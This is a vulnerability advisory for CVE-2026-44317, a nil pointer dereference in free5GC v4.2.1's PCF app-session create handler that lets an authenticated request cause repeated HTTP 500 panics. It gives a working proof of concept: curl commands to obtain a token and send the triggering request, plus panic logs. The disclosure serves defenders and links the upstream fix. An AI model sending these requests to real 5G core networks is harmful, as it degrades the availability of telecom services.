CVE-2026-44317

Description

### Summary free5GC's PCF `POST /npcf-policyauthorization/v1/app-sessions` handler panics on a single authenticated request whose `ascReqData.suppFeat == "1"` (enabling traffic-routing feature negotiation) and whose `medComponents` entries supply an `afAppId` but NO `AfRoutReq`. The create path then calls `provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...)` with `routeReq == nil` and dereferences `routeReq.RouteToLocs` (and other fields) without a nil check, causing `runtime error: invalid memory address or nil pointer dereference`. Gin recovery converts the panic into `HTTP 500`. The trigger is a single valid authenticated request -- changing only `suppFeat` from `"0"` to `"1"` flips the same shape of POST from a normal `201 Created` into a panic-driven `500`. This endpoint requires a valid `npcf-policyauthorization` OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path. ### Details Validated against the PCF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - PCF endpoint: `http://10.100.200.9:8000` - Validation date: 2026-03-12 Vulnerable handler path: ``` postAppSessCtxProcedure -> medComponents loop -> appID := medComp.AfAppId routeReq := medComp.AfRoutReq // nil when AfRoutReq absent provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus) ``` In `provisioningOfTrafficRoutingInfo`, `routeReq.RouteToLocs`, `routeReq.UpPathChgSub`, and `routeReq.AppReloc` are dereferenced directly without a nil check. When `suppFeat` is `"0"` the traffic-routing branch is not entered and the same input shape returns `201 Created`; when `suppFeat` is `"1"` the branch is entered and the nil-deref fires. Code evidence (paths in `free5gc/pcf`): - Affected route + dispatch: `NFs/pcf/internal/sbi/api_policyauthorization.go` - Create handler path: `NFs/pcf/internal/sbi/processor/policyauthorization.go` - Call site that passes nil `routeReq` into the traffic-routing helper: `NFs/pcf/internal/sbi/processor/policyauthorization.go` - Panic site (nil deref of `routeReq.*` fields): `NFs/pcf/internal/sbi/processor/policyauthorization.go:1740` ### PoC Reproduced end-to-end against the running PCF at `http://10.100.200.9:8000`. 1. Obtain a valid `npcf-policyauthorization` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization' ``` 2. Trigger the panic with a single valid authenticated POST whose `ascReqData.suppFeat == "1"`, `medComponents` supplies `afAppId`, and `AfRoutReq` is absent: ``` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``` ``` HTTP/1.1 500 Internal Server Error ``` 3. Control comparison -- same request shape but `suppFeat="0"` -> normal `201 Created`: ``` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``` ``` HTTP/1.1 201 Created ``` 4. PCF container logs show the panic stack landing in `provisioningOfTrafficRoutingInfo` with `routeReq = 0x0`: ``` [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...) .../policyauthorization.go:1740 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure .../policyauthorization.go:288 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext .../policyauthorization.go:139 github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions .../api_policyauthorization.go:119 [INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions | ``` ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes `routeReq` straight into `provisioningOfTrafficRoutingInfo` without a nil check, even though `medComp.AfRoutReq` is optional and is nil for the demonstrated valid input shape. The control experiment with `suppFeat="0"` proves the request shape itself is otherwise valid. Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with `suppFeat="1"` and `medComponents.*.AfAppId` set but `AfRoutReq` absent returns `HTTP 500` with empty body and a stack trace in PCF logs. Any party that holds (or can obtain) a valid `npcf-policyauthorization` token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65